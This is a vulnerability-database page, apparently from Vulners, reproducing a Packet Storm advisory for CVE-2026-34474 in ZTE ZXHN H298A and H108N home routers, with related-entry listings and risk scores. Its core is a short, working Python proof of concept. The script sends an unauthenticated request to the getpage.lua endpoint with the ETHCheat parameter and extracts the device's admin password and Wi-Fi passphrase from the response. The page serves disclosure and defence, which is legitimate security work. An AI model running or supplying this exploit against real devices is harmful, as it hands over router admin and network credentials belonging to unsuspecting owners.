Lucene search
K

📄 ZTE ZXHN H298A 1.1 / H108N 2.6 Unauthenticated Credential Disclosure

🗓️ 20 May 2026 00:00:00Reported by Mina Nageh SalalmaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 74 Views

Unauthenticated access exposes admin password and wireless network key via getpage lua endpoint on ZTE H298A

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-34474
6 May 202600:00
attackerkb
Circl
CVE-2026-34474
27 Mar 202623:26
circl
CNNVD
ZTE ZXHN H108N和ZTE ZXHN H298A 信息泄露漏洞
6 May 202600:00
cnnvd
CVE
CVE-2026-34474
6 May 202600:00
cve
Cvelist
CVE-2026-34474
6 May 202600:00
cvelist
Exploit DB
ZTE H298A / H108N - Unauthenticated Credential Exposure
29 May 202600:00
exploitdb
EUVD
EUVD-2026-27883
6 May 202621:31
euvd
NVD
CVE-2026-34474
6 May 202619:16
nvd
Packet Storm
📄 ZTE ZXHN H298A / H108N Credential Disclosure
26 May 202600:00
packetstorm
Positive Technologies
PT-2026-38218
6 May 202600:00
ptsecurity
Rows per page
# Title: ZTE ZXHN H298A 1.1 / H108N 2.6 - Unauthenticated Credential
    Exposure (ETHCheat Parameter)
    # Date: 2026-05-20
    # Author: Mina Nageh Salalma (Monx Research)
    # CVE: CVE-2026-34474
    # Vendor: ZTE Corporation
    # Affected: ZTE ZXHN H298A 1.1, ZXHN H108N 2.6
    # Category: Remote / Webapps
    # Tested: Lab hardware + firmware extraction
    
    # Description:
    # A GET to /getpage.lua?pid=1000&ETHCheat=1 returns the live admin password
    # (OBJ_USERINFO_IDPassword1), WLAN PSK (WLANPSK_KeyPassphrase1), and ESSID
    # in plaintext from unauthenticated requests. A second endpoint exposes
    # the device serial number. No session or credentials required.
    #
    # MITRE: https://www.cve.org/CVERecord?id=CVE-2026-34474
    # Full write-up:
    https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure
    
    # PoC:
    import requests
    
    def check(target):
        r = requests.get(f"http://{target}/getpage.lua?pid=1000&ETHCheat=1",
    timeout=10, verify=False)
        import re, html
        admin =
    re.search(r"id\s*=\s*'OBJ_USERINFO_IDPassword1'\s*value\s*=\s*'([^']+)'",
    r.text)
        psk =
    re.search(r"id\s*=\s*'WLANPSK_KeyPassphrase1'\s*value\s*=\s*'([^']+)'",
    r.text)
        print(f"[+] Admin: {html.unescape(admin.group(1)) if admin else '?'} |
    PSK: {html.unescape(psk.group(1)) if psk else '?'}")
    
    if __name__ == "__main__":
        import sys
        check(sys.argv[1])

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 May 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.5
EPSS0.01689
SSVC
74